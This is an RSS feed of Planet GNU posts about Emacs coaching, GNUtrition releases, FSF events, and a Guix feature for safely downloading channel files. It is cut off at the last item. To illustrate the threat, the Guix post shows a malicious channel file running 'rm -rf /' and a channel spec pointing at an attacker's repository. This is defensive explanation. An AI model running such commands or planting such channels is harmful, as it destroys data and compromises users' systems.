<?xml version="1.0" encoding="UTF-8" standalone="no"?><rss version="2.0">

<channel>
	<title>ExcitingAds! Planet GNU</title>
	<link>https://planet.gnu.org/</link>
	<language>en</language>
	<description>Planet GNU!</description>


<xhtml:meta content="noindex" name="robots" xmlns:xhtml="http://www.w3.org/1999/xhtml"/><item>
	<title>Amin Bandali: FFS code review and Emacs extensibility with Protesilaos</title>
	<guid>tag:kelar.org,2026:~bandali/rss20.xml:gnu/emacs/ffs-emacs-ext-prot</guid>
	<link>https://kelar.org/~bandali/gnu/emacs/ffs-emacs-ext-prot.html</link>
     <description>  &lt;p&gt;
In the recent weeks I've been engaging &lt;a href="https://protesilaos.com/coach/"&gt;Prot as an Emacs coach&lt;/a&gt; to help
with doing review passes over my upcoming &lt;a href="https://git.kelar.org/~bandali/ffs"&gt;&lt;code&gt;ffs&lt;/code&gt;&lt;/a&gt; package as I work on
polishing and documenting it in preparation for offering it for
inclusion in GNU ELPA.
&lt;/p&gt;

&lt;p&gt;
&lt;b&gt;UPDATE 2026-05-15 08:50:10 -0400:&lt;/b&gt; Prot also published an article
about our session on his website:
&lt;a href="https://protesilaos.com/codelog/2026-05-15-emacs-amin-bandali-ffs-display-buffer-org-capture/"&gt;https://protesilaos.com/codelog/2026-05-15-emacs-amin-bandali-ffs-display-buffer-org-capture/&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
Today we had our third session where we started by reviewing and
talking about my recent changes to &lt;code&gt;ffs&lt;/code&gt;, then ventured to other
Emacs-related topics with the overarching theme of the flexibility
and extensibility of GNU Emacs, including &lt;code&gt;display-buffer-alist&lt;/code&gt;,
keyboard macros, defining a custom &lt;a href="https://kelar.org/~bandali/gnu/emacs/dotemacs.html#lisp-bandali-oxen"&gt;&lt;code&gt;ox-bhtml&lt;/code&gt;&lt;/a&gt; Org export backend
derived from Org's &lt;code&gt;ox-html&lt;/code&gt; for ultimate flexibility when exporting
my site's pages from Org to HTML, Org capture, plain text files and
Emacs's &lt;code&gt;diary&lt;/code&gt; and how it compares to &lt;code&gt;org-agenda&lt;/code&gt;, and keeping a
journal with the help of Emacs.
&lt;/p&gt;

&lt;p&gt;
Here is the video recording of our session, which I share with Prot's
permission:
&lt;/p&gt;

&lt;video controls="" id="org9614584" poster="https://kelar.org/~bandali/gnu/emacs/ffs-emacs-ext-prot-poster.jpg" preload="metadata" src="https://archive.org/download/ffs-emacs-ext-prot-20260514/ffs-emacs-ext-prot-20260514.mp4" width="720"&gt;
&lt;source src="https://archive.org/download/ffs-emacs-ext-prot-20260514/ffs-emacs-ext-prot-20260514.mp4" type="video/mp4" /&gt;
&lt;p&gt;
Sorry, this embedded video will not work,
because your web browser does not support HTML5 video.&lt;br /&gt;
&lt;a href="https://archive.org/download/ffs-emacs-ext-prot-20260514/ffs-emacs-ext-prot-20260514.mp4"&gt;[ please watch the video in your favourite streaming media player ]â€‹&lt;/a&gt;
&lt;/p&gt;
&lt;/video&gt;

&lt;p&gt;
You can &lt;a href="https://archive.org/details/ffs-emacs-ext-prot-20260514"&gt;view&lt;/a&gt; or &lt;a href="https://archive.org/download/ffs-emacs-ext-prot-20260514/ffs-emacs-ext-prot-20260514.mp4"&gt;download the full-resolution video&lt;/a&gt; from the Internet
Archive.
&lt;/p&gt;

&lt;p&gt;
Lastly, here is the snippet Prot shared for having Isearch treat space
as a wildcard, helpful for more easily matching multiple parts of a
line:
&lt;/p&gt;

&lt;div class="org-src-container"&gt;
&lt;pre class="src src-elisp"&gt;&lt;code&gt;(setq search-whitespace-regexp ".*?")
(setq isearch-lax-whitespace t)
(setq isearch-regexp-lax-whitespace nil)
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Take care, and so long for now.
&lt;/p&gt; </description> 
	<pubDate>Fri, 15 May 2026 12:50:10 +0000</pubDate>

</item> 
<item>
	<title>gnutrition @ Savannah: GNUtrition 0.33.0rc2 Now Available</title>
	<guid>https://savannah.gnu.org/news/?id=10892</guid>
	<link>https://savannah.gnu.org/news/?id=10892</link>
     <description>  &lt;p&gt;A test release of GNUtrition, 0.33.0rc2, is now available.
&lt;br /&gt;

&lt;br /&gt;
GNUtrition is free nutrition analysis software written for the GNU operating system. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.
&lt;br /&gt;

&lt;br /&gt;
This release makes some fixes to the gender option.  It also applies a fix to ./version.sh that affected builds from CVS checkouts, which was not an issue with the tarball, due to the tarballs including the version in a .ver file.
&lt;br /&gt;

&lt;br /&gt;
More information about GNUtrition may be found on its home page at &lt;a href="http://www.gnu.org/software/gnutrition/"&gt;http://www.gnu.or ... tware/gnutrition/&lt;/a&gt;.  This test release can be obtained from the alpha.gnu.org server at one of the following:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="ftp://alpha.gnu.org/gnu/gnutrition/"&gt;ftp://alpha.gnu.o ... g/gnu/gnutrition/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://alpha.gnu.org/gnu/gnutrition/"&gt;http://alpha.gnu. ... g/gnu/gnutrition/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://alpha.gnu.org/gnu/gnutrition/"&gt;https://alpha.gnu ... g/gnu/gnutrition/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
Please report any problems you experience to the GNUtrition bug reports mailing list: &amp;lt;bug-gnutrition@gnu.org&amp;gt; (&lt;a href="https://lists.gnu.org/mailman/listinfo/bug-gnutrition"&gt;https://lists.gnu ... fo/bug-gnutrition&lt;/a&gt;).&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 13 May 2026 21:40:19 +0000</pubDate>

</item> 
<item>
	<title>FSF Events: Free Software vs malware and the need for reverse engineering</title>
	<guid>http://www.fsf.org/events/afk/2026-06-16-erlangen-germany-stallman</guid>
	<link>http://www.fsf.org/events/afk/2026-06-16-erlangen-germany-stallman</link>
     <description>  June 16, 2026 from 16:00 to 18:00 (CET). </description> 
	<pubDate>Wed, 13 May 2026 18:59:33 +0000</pubDate>

</item> 
<item>
	<title>GNU Guix: Time travel without borders</title>
	<guid>https://guix.gnu.org/blog/2026/time-travel-without-borders//</guid>
	<link>https://guix.gnu.org/blog/2026/time-travel-without-borders//</link>
     <description>  &lt;p&gt;When offered the option to run other peopleâ€™s code, a prime
consideration is often ease of deployment.  While much progress has been
made in support of rapid deployment, the security implications of those
quick deployments is often overlooked.  In this post, we look at a new
feature of &lt;code&gt;guix time-machine&lt;/code&gt; and &lt;code&gt;guix pull&lt;/code&gt; in support of &lt;em&gt;one-line
deployment commands&lt;/em&gt;: the ability to download channel files, but without
compromising on security.&lt;/p&gt;&lt;h1&gt;Sharing code&lt;/h1&gt;&lt;p&gt;The normal workflow to share software and make it easily deployable with
Guix goes like this: someone puts their packager hat on and writes a
package definition, adds it to Guix proper or to a separate
&lt;a href="https://guix.gnu.org/manual/devel/en/html_node/Channels.html"&gt;channel&lt;/a&gt;,
at which point anyone can fetch the relevant channel(s) and deploy the
software.&lt;/p&gt;&lt;p&gt;As an example, letâ€™s assume you want to run
&lt;a href="https://packages.guix.gnu.org/packages/yt-dlp"&gt;&lt;code&gt;yt-dlp&lt;/code&gt;&lt;/a&gt; as packaged in
the latest Guix revision without upgrading your system or going through
an explicit installation step.  The simplest way to do that is with this
command:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;guix time-machine -q -- shell yt-dlp -- yt-dlp â€¦&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If youâ€™re familiar with Nix, this is equivalentâ€”with some important
differences weâ€™ll discuss belowâ€”to this command:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;nix shell nixpkgs#yt-dlp --command yt-dlp â€¦&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In both cases, weâ€™re fetching the latest revision of the package
collection (the &lt;code&gt;master&lt;/code&gt; branch for Guix, the &lt;code&gt;nixpkgs-unstable&lt;/code&gt; branch
of Nixpkgs for Nix) and running &lt;code&gt;yt-dlp&lt;/code&gt; from there.  (&lt;a href="https://nix.dev/manual/nix/2.28/command-ref/new-cli/nix3-run.html"&gt;&lt;code&gt;nix run&lt;/code&gt;&lt;/a&gt;
goes one step further by removing the need to specify the command name.)&lt;/p&gt;&lt;p&gt;Now, that was an easy example because &lt;code&gt;yt-dlp&lt;/code&gt; comes from Guix itself.
What if youâ€™d like to deploy an application thatâ€™s in another channel
such as &lt;a href="https://codeberg.org/guix-science/guix-science"&gt;Guix-Science&lt;/a&gt;?
Well, you would first need to come up with a &lt;a href="https://hpc.guix.info/channel/guix-science"&gt;&lt;code&gt;channels.scm&lt;/code&gt; file for
Guix-Science&lt;/a&gt; and &lt;em&gt;then&lt;/em&gt; you
can pass it to &lt;code&gt;guix pull&lt;/code&gt; or &lt;code&gt;guix time-machine&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$EDITOR channels.scm
# Make sure that includes Guix-Science.
guix time-machine -C channels.scm -- shell â€¦&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If youâ€™re lucky, perhaps you can download a channel file.  For example,
&lt;a href="https://guix.gnu.org/en/cuirass"&gt;Cuirass&lt;/a&gt; produces them for all
successfully-evaluated commits, so you can &lt;a href="https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science"&gt;fetch one for
Guix-Science&lt;/a&gt;
and go from there:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;wget -O channels.scm \
  https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science
guix time-machine -C channels.scm -- shell â€¦&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can even do it in a single command &lt;a href="https://doc.guix.gnu.org/bash/5.2.37/en/html_node/Process-Substitution.html"&gt;using Bash &lt;em&gt;process
substitution&lt;/em&gt;&lt;/a&gt;!&lt;/p&gt;&lt;pre&gt;&lt;code&gt;guix time-machine \
  -C &amp;lt;(wget -O https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science) \
  -- shell â€¦&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Is it a good idea though?&lt;/p&gt;&lt;h1&gt;The threat&lt;/h1&gt;&lt;p&gt;If you look more closely, the &lt;code&gt;nix shell&lt;/code&gt; command and the last two &lt;code&gt;guix time-machine&lt;/code&gt; commands have a bit of a &lt;code&gt;curl | sh&lt;/code&gt; flavor to it:
downloading arbitrary code and running it without further ado.  All &lt;code&gt;nix shell&lt;/code&gt; does is authenticate &lt;code&gt;github.com&lt;/code&gt;, through HTTPS, and likewise
for &lt;code&gt;wget&lt;/code&gt;â€”that youâ€™re downloading from the genuine &lt;code&gt;github.com&lt;/code&gt; doesnâ€™t
tell you anything about the trustworthiness of the code youâ€™re running.&lt;/p&gt;&lt;p&gt;In the case of Guix, the &lt;code&gt;channels.scm&lt;/code&gt; youâ€™re downloading could very
well read this:&lt;/p&gt;&lt;pre&gt;&lt;code class="language-scheme"&gt;(system* "rm" "-rf" "/")  ;uh-oh!&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here &lt;code&gt;system*&lt;/code&gt;, as you might have guessed, &lt;a href="https://doc.guix.gnu.org/guile/latest/en/html_node/Processes.html#index-system_002a"&gt;invokes a
command&lt;/a&gt;.
Because yes, channel files can contain arbitrary Scheme code!  (Itâ€™s
worth noting that this particular problem is one Nix doesnâ€™t have: Nix
being a domain-specific language (DSL) already limits what Nix code can
do, especially with so-called â€œpureâ€� evaluation.)&lt;/p&gt;&lt;p&gt;Or it could read something like this:&lt;/p&gt;&lt;pre&gt;&lt;code class="language-scheme"&gt;(list (channel
        (name 'guix)
        ;; This is Malloryâ€™s malicious Guix, now youâ€™re PWND!
        (url "https://example.org/EVIL/guix.git")
        (branch "master")
        (introduction
         (make-channel-introduction
          "badc0ffeed807b096b48283debdcddccfea34bad"
          (openpgp-fingerprint
           "DEAD CABB A99E F6A8 0D1D  E643 A2A0 6DF2 A33A BADD")))))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this case, the channel file looks good, but the channel youâ€™ll
fetchâ€”probably not so much.&lt;/p&gt;&lt;p&gt;So no: downloading a channel file and using it without checking it is
not reasonable.&lt;/p&gt;&lt;h1&gt;The cake&lt;/h1&gt;&lt;p&gt;Can we have our cake and eat it too?  Can we casually download someone
elseâ€™s channel file without putting our system at risk?&lt;/p&gt;&lt;p&gt;Changes that have just landed in &lt;code&gt;guix pull&lt;/code&gt; and &lt;code&gt;guix time-machine&lt;/code&gt; aim
to address these seemingly contradictory needs.  The two commands are
now equipped to download by themselves: just pass them a URL with the
&lt;code&gt;-C&lt;/code&gt; (or &lt;code&gt;--channels&lt;/code&gt;) option.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;guix time-machine \
  -C https://ci.guix.gnu.org/eval/latest/channels.scm?spec=master \
  -- â€¦&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Crucially, this command is &lt;em&gt;not&lt;/em&gt; equivalent to the naÃ¯ve &lt;code&gt;-C &amp;lt;(wget -O â€¦)&lt;/code&gt; trick we saw above.&lt;/p&gt;&lt;p&gt;First, channel code is now evaluated &lt;a href="https://doc.guix.gnu.org/guile/latest/en/html_node/Sandboxed-Evaluation.html"&gt;in a
â€œsandboxâ€�&lt;/a&gt;:
it can only access a predefined set of bindings, cannot import
additional modules, and it must run in a limited amount of time and with
a limited amount of memory allocated.  This still provides access to
many general-purpose facilities but blocks anything that could be used
to alter the system state, exfiltrate data, or cause a denial of
service.&lt;/p&gt;&lt;p&gt;With this in place, evaluating a channel file can be considered safe.
Now, one problem remains: the file might list channels that I as a user
do not trust.  And here we see a tension between fetching channel files
&lt;em&gt;from out there&lt;/em&gt; and keeping oneâ€™s system safe.  To address that, we
define a new rule: only &lt;em&gt;trusted channels&lt;/em&gt; may be deployed; if a channel
file lists untrusted channels, &lt;code&gt;guix pull&lt;/code&gt; and &lt;code&gt;guix time-machine&lt;/code&gt; error
out.  Trusted channels are defined as follows:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;they are those listed in &lt;code&gt;~/.config/guix/trusted-channels.scm&lt;/code&gt;, if
it existsâ€”this file lists channels just like a regular channel file;&lt;/li&gt;&lt;li&gt;or, they are the channels currently in use, as returned by &lt;code&gt;guix describe&lt;/code&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;This brings us to the interesting question of &lt;em&gt;channel identity&lt;/em&gt;.  This
channel I call &lt;code&gt;guix-science&lt;/code&gt; in my &lt;code&gt;trusted-channels.scm&lt;/code&gt;, someone else
might as well call it &lt;code&gt;Guix-Science&lt;/code&gt; or &lt;code&gt;science&lt;/code&gt;; how can I tell if
weâ€™re dealing with the channel that &lt;em&gt;I&lt;/em&gt; call &lt;code&gt;guix-science&lt;/code&gt; and that I
trust?&lt;/p&gt;&lt;p&gt;The key insight is that the name itself doesnâ€™t matter; the element that
&lt;em&gt;does&lt;/em&gt; matter is the â€œintroductionâ€� of the channelâ€”the piece of
information that tells &lt;a href="https://guix.gnu.org/en/blog/2020/securing-updates/"&gt;how to authenticate updates of that
channel&lt;/a&gt;.  If you
forgot that episode, the introduction the thing with hexadecimal strings
that appears in a channel specification:&lt;/p&gt;&lt;pre&gt;&lt;code class="language-scheme"&gt;(channel
  (name 'guix-past)
  (url "https://codeberg.org/guix-science/guix-past")
  (introduction   ;this hex soup ğŸ‘‡ is the channelâ€™s identity
   (make-channel-introduction
    "0c119db2ea86a389769f4d2b9c6f5c41c027e336"
    (openpgp-fingerprint
     "3CE4 6455 8A84 FDC6 9DB4  0CFB 090B 1199 3D9A EBB5"))))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Two channels with the same introduction are one and the same.  Thus, if
my &lt;code&gt;trusted-channels.scm&lt;/code&gt; contains a channel with the above
introduction, &lt;code&gt;pull&lt;/code&gt; and &lt;code&gt;time-machine&lt;/code&gt; will happily pull from it.&lt;/p&gt;&lt;p&gt;The corollary is that a channel that cannot be authenticatedâ€”i.e., that
lacks the &lt;code&gt;introduction&lt;/code&gt; fieldâ€”cannot be considered a trusted channel.&lt;/p&gt;&lt;p&gt;Overall, this â€œtrusted channelâ€� rule trades flexibility for safety.
Itâ€™s a tradeoff but one that looks like a better default than anything
that effectively amounts to arbitrary code execution Ã  la &lt;code&gt;curl | sh&lt;/code&gt;.&lt;/p&gt;&lt;h1&gt;The party&lt;/h1&gt;&lt;p&gt;â€œWhy would I want to download channel files?â€�, you may ask?  Hereâ€™s a
list of typical use cases we have in mind.&lt;/p&gt;&lt;p&gt;The first one is downloading a channel file from a continuous
integration systemâ€”to deploy from a known-good state, to test a new
package version or a new feature, to reproduce a bug, etc.
&lt;a href="https://guix.gnu.org/en/cuirass"&gt;Cuirass&lt;/a&gt; serves channel files for
every channel set it evaluates.  So for example, you can pull the latest
Guix channel that was successfully evaluated like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;guix pull -C https://ci.guix.gnu.org/eval/latest/channels.scm?spec=master&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Likewise, this is how youâ€™d travel to the latest Guix-Science channel
and &lt;a href="https://guix.gnu.org/manual/devel/en/html_node/Declaring-Channel-Dependencies.html"&gt;dependent
channels&lt;/a&gt;
to execute RStudio:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;guix time-machine \
  -C https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science
  -- shell rstudio -- rstudio&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A second, similar use case is &lt;em&gt;one-line commands for demos&lt;/em&gt;: if youâ€™re
developing an application, you can package it, publish a channel file,
and share a &lt;code&gt;time-machine&lt;/code&gt; command to spawn it.  With &lt;a href="https://guix.gnu.org/manual/1.5.0/en/html_node/Replicating-Guix.html"&gt;pinned
channels&lt;/a&gt;,
you can ensure users run it from a known-good state.&lt;/p&gt;&lt;p&gt;A third use case that is emerging is &lt;em&gt;channel releases&lt;/em&gt;.  Teams
maintaining third-party channels might want to tag releases of their
channel as a channel files where each channel is pinned.  This is what
&lt;a href="https://codeberg.org/guix-science/guix-science/issues/528"&gt;the Guix-Science project recently decided to
do&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;In the same vein, a fourth use case is the publication of a tested
channel file that a whole team, or a whole fleet of computers, would
upgrade from.  Imagine a group of people responsible for testing who
would periodically publish a new channel file pinned to known-good
commits that all the team members or an entire fleet could safely pull
fromâ€”it could even be used for &lt;a href="https://guix.gnu.org/manual/devel/en/html_node/Unattended-Upgrades.html"&gt;unattended
upgrades&lt;/a&gt;!&lt;/p&gt;&lt;p&gt;The fifth use case is &lt;a href="https://guix.gnu.org/cookbook/en/html_node/Reproducible-Research.html"&gt;&lt;em&gt;reproducible
research&lt;/em&gt;&lt;/a&gt;.
A computational workflow can be
&lt;a href="https://guix.gnu.org/cookbook/en/html_node/Recording-the-Environment.html"&gt;captured&lt;/a&gt;
by two files: &lt;code&gt;channels.scm&lt;/code&gt; and &lt;code&gt;manifest.scm&lt;/code&gt;.  In some cases, we
might as well download the channel file.&lt;/p&gt;&lt;h1&gt;Dissonance?&lt;/h1&gt;&lt;p&gt;But waitâ€¦ the astute reader might have felt some dissonance:
&lt;em&gt;downloading&lt;/em&gt; a channel file to set up a supposedly reproducible
workflow?  That canâ€™t be right: the channel file could change over time,
or it could vanish from its original URL.  Thatâ€™s not reproducibility,
is it?&lt;/p&gt;&lt;p&gt;As Simon Tournier was prompt to
&lt;a href="https://codeberg.org/guix/guix/pulls/6745#issuecomment-11142860"&gt;suggest&lt;/a&gt;,
the solution is to support &lt;a href="https://swhid.org"&gt;SWHIDs&lt;/a&gt; (Software Hash
Identifiers) in addition to URLs.  A SWHID is essentially a standardized
content hash that uniquely identifies â€œcontentâ€�â€”raw data or structured
data such as directories and version-control revisions.  If you followed
along, you might remember that Guix is &lt;a href="https://guix.gnu.org/en/blog/2019/connecting-reproducible-deployment-to-a-long-term-source-code-archive/"&gt;connected to the Software
Heritage
archive&lt;/a&gt;.
Software packaged in Guix is in &lt;a href="https://archive.softwareheritage.org"&gt;the
archive&lt;/a&gt; and so all we had to do
is connect the dots.&lt;/p&gt;&lt;p&gt;Consider this command:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;guix time-machine \
  -C swh:1:cnt:003e1e0c1b9b358082201332c926ae54e9549002  \
  -- â€¦&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It downloads the channel file identified &lt;a href="https://archive.softwareheritage.org/browse/search/?q=swh%3A1%3Acnt%3A003e1e0c1b9b358082201332c926ae54e9549002&amp;amp;with_visit=true&amp;amp;with_content=true"&gt;by the given
SWHID&lt;/a&gt;
and then proceeds.&lt;/p&gt;&lt;p&gt;The SWHID serves as an unambiguous and unique &lt;em&gt;content address&lt;/em&gt; to refer
to a specific channel set.  It can be computed &lt;a href="https://guix.gnu.org/manual/devel/en/html_node/Invoking-guix-hash.html"&gt;using &lt;code&gt;guix hash&lt;/code&gt;&lt;/a&gt;,
but of course, the channel file must first be present in the Software
Heritage archive.  Thus, if the file is part of a version-control
repository, you can first &lt;a href="https://archive.softwareheritage.org/save/"&gt;request archiving of that
repository&lt;/a&gt;.  In a research
paper, one may include a single command to re-run computations the paper
builds upon.&lt;/p&gt;&lt;h1&gt;Pleasurable&lt;/h1&gt;&lt;p&gt;This new addition felt pleasurable for several reasons.  First because
it addresses use cases that people had been talking for a while, and
itâ€™s always nice to fill gaps.  It also felt good because several design
choices complement each other so that everything here falls into place:
channel specifications, Guileâ€™s â€œsandboxingâ€�, channel authentication,
and Software Heritage integration.&lt;/p&gt;&lt;p&gt;The whole endeavorâ€”allowing for quick deployment without compromising on
securityâ€”might sound quixotic or, some might say, anachronistic, at a
time when the
&lt;a href="https://hpc.guix.info/blog/2021/09/whats-in-a-package/"&gt;&lt;code&gt;pip&lt;/code&gt;s&lt;/a&gt;, the
&lt;a href="https://snyk.io/blog/malicious-code-found-in-npm-package-event-stream/"&gt;&lt;code&gt;npm&lt;/code&gt;s&lt;/a&gt;,
the
&lt;a href="https://linuxsecurity.com/news/hackscracks/crypto-stealing-malware-hits-snap-packages"&gt;&lt;code&gt;snap&lt;/code&gt;s&lt;/a&gt;
and many more are all about deploying software of unknown origin like
thereâ€™s no tomorrow.  In Guix we do believe that transparency,
provenance tracking, and verifiability matter for the software we run;
efforts like this one are guided by these principles.&lt;/p&gt;&lt;p&gt;The feature &lt;a href="https://codeberg.org/guix/guix/pulls/6745"&gt;landed&lt;/a&gt; just a
few days ago.  Give it a try and letâ€™s hope you find it pleasant as
well!&lt;/p&gt;&lt;h1&gt;Acknowledgments&lt;/h1&gt;&lt;p&gt;I am grateful to Caleb â€œReepcaâ€� Ristvedt for their thorough code review
and insightful suggestions, and to Simon Tournier for commenting on the
general approach and suggesting improvements.  Many thanks to Rutherther
and to Cayetano Santos for reviewing an earlier draft of this post.&lt;/p&gt; </description> 
	<pubDate>Tue, 12 May 2026 12:48:33 +0000</pubDate>

</item> 
<item>
	<title>gnutrition @ Savannah: GNUtrition 0.33.0rc1 Now Available</title>
	<guid>https://savannah.gnu.org/news/?id=10890</guid>
	<link>https://savannah.gnu.org/news/?id=10890</link>
     <description>  &lt;p&gt;A test release of GNUtrition, 0.33.0rc1, is now available.
&lt;br /&gt;

&lt;br /&gt;
GNUtrition is free nutrition analysis software written for the GNU operating system. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.
&lt;br /&gt;

&lt;br /&gt;
This release is for the C rewrite, which is usable with GTK and ncurses based interfaces, along with a noninteractive mode.  The database was updated from the USDA DSR to the USDA FNDDS.
&lt;br /&gt;

&lt;br /&gt;
Thank you, very much to Jason Self for providing us with the rewrite.  This release would not have been possible without it!
&lt;br /&gt;

&lt;br /&gt;
More information about GNUtrition may be found on its home page at &lt;a href="http://www.gnu.org/software/gnutrition/"&gt;http://www.gnu.or ... tware/gnutrition/&lt;/a&gt;.  This test release can be obtained from the alpha.gnu.org server at one of the following:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="ftp://alpha.gnu.org/gnu/gnutrition/"&gt;ftp://alpha.gnu.o ... g/gnu/gnutrition/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://alpha.gnu.org/gnu/gnutrition/"&gt;http://alpha.gnu. ... g/gnu/gnutrition/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://alpha.gnu.org/gnu/gnutrition/"&gt;https://alpha.gnu ... g/gnu/gnutrition/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
Please report any problems you experience to the GNUtrition &lt;a href="https://lists.gnu.org/mailman/listinfo/bug-gnutrition"&gt;bug reports mailing list&lt;/a&gt;: &amp;lt;bug-gnutrition@gnu.org&amp;gt;.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Sat, 09 May 2026 03:04:20 +0000</pubDate>

</item> 
<item>
	<title>FSF Events: Free Software Directory meeting on IRC: Friday, May 8, starting at 12:00 EDT (16:00 UTC)</title>
	<guid>http://www.fsf.org/events/fsd-2026-05-15-irc</guid>
	<link>http://www.fsf.org/events/fsd-2026-05-15-irc</link>
     <description>  Join the FSF and friends on Friday, May 15 from 12:00 to 15:00 EDT (16:00 to 19:00 UTC) to help improve the Free Software Directory. </description> 
	<pubDate>Fri, 08 May 2026 14:36:02 +0000</pubDate>

</item> 
<item>
	<title>Amin Bandali: FFS code review with Protesilaos</title>
	<guid>tag:kelar.org,2026:~bandali/rss20.xml:gnu/emacs/ffs-code-review-prot</guid>
	<link>https://kelar.org/~bandali/gnu/emacs/ffs-code-review-prot.html</link>
     <description>  &lt;p&gt;
In the recent weeks I've been engaging &lt;a href="https://protesilaos.com/coach/"&gt;Prot as an Emacs coach&lt;/a&gt; to help
with doing review passes over my upcoming &lt;a href="https://git.kelar.org/~bandali/ffs"&gt;&lt;code&gt;ffs&lt;/code&gt;&lt;/a&gt; package as I work on
polishing and documenting it in preparation for offering it for
inclusion in GNU ELPA.
&lt;/p&gt;

&lt;p&gt;
Yesterday we had our second session focused on &lt;code&gt;ffs&lt;/code&gt;, which I recorded
and share publicly with everyone with Prot's permission, so that
others can also benefit from Prot's insights and experience as we
discuss various aspects of Emacs package development with the concrete
example of &lt;code&gt;ffs&lt;/code&gt;.
&lt;/p&gt;

&lt;p&gt;
Here is the video recording of our session:
&lt;/p&gt;

&lt;video controls="" id="org97db585" poster="https://kelar.org/~bandali/gnu/emacs/ffs-code-review-prot-poster.jpg" preload="metadata" src="https://archive.org/download/ffs-code-review-prot-20260506/ffs-code-review-prot-20260506.mp4" width="720"&gt;
&lt;source src="https://archive.org/download/ffs-code-review-prot-20260506/ffs-code-review-prot-20260506.mp4" type="video/mp4" /&gt;
&lt;p&gt;
Sorry, this embedded video will not work,
because your web browser does not support HTML5 video.&lt;br /&gt;
&lt;a href="https://archive.org/download/ffs-code-review-prot-20260506/ffs-code-review-prot-20260506.mp4"&gt;[ please watch the video in your favourite streaming media player ]â€‹&lt;/a&gt;
&lt;/p&gt;
&lt;/video&gt;

&lt;p&gt;
You can &lt;a href="https://archive.org/details/ffs-code-review-prot-20260506"&gt;view&lt;/a&gt; or &lt;a href="https://archive.org/download/ffs-code-review-prot-20260506/ffs-code-review-prot-20260506.mkv"&gt;download the full-resolution video&lt;/a&gt; from the Internet
Archive.
&lt;/p&gt;

&lt;p&gt;
I addressed most of Prot's feedback about &lt;code&gt;ffs&lt;/code&gt; from our first
session, and I'll be working on the changes we discussed in this
session in the next days.
&lt;/p&gt;

&lt;p&gt;
In the last third of the video we switched topics to discuss a few
Emacs-related tangents including adding a 'padding' effect for the
mode line and its constructs, and distilling and separating the
easily-reusable package-like parts of one's Emacs configuration from
the actual configuration of those parts (e.g. the distinction of
&lt;code&gt;prot-lisp&lt;/code&gt; and &lt;code&gt;prot-emacs-modules&lt;/code&gt; in &lt;a href="https://protesilaos.com/emacs/dotemacs"&gt;Prot's Emacs configuration&lt;/a&gt;).
&lt;/p&gt;

&lt;p&gt;
For mode line padding, here is the snippet I'm using with Prot's
&lt;code&gt;doric-themes&lt;/code&gt;:
&lt;/p&gt;

&lt;div class="org-src-container"&gt;
&lt;pre class="src src-elisp"&gt;&lt;code&gt;(doric-themes-with-colors
  (custom-set-faces
   `(mode-line
     ((t :box (:line-width 6 :color ,bg-shadow-intense))))
   `(mode-line-inactive
     ((t :box (:line-width 6 :color ,bg-shadow-subtle))))
   `(mode-line-highlight
     ((t :box (:color ,bg-shadow-intense))))))
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Take care, and so long for now.
&lt;/p&gt; </description> 
	<pubDate>Fri, 08 May 2026 02:10:33 +0000</pubDate>

</item> 
<item>
	<title>Amin Bandali: Emacs Chat with Sacha Chua</title>
	<guid>tag:kelar.org,2026:~bandali/rss20.xml:gnu/emacs/emacs-chat-202605</guid>
	<link>https://kelar.org/~bandali/gnu/emacs/emacs-chat-202605.html</link>
     <description>  &lt;p&gt;
Yesterday I joined Sacha Chua for a new episode of her Emacs Chat
podcast, where we talked about Emacs and life.  I gave a quick tour
of my Emacs configuration, discussing at length my configurations for
EXWM (Emacs X Window Manager) among other topics like Emacs's facility
for visually indicating buffer boundaries in the fringe by setting
&lt;code&gt;indicate-buffer-boundaries&lt;/code&gt; and my convenience configuration macros.
&lt;/p&gt;

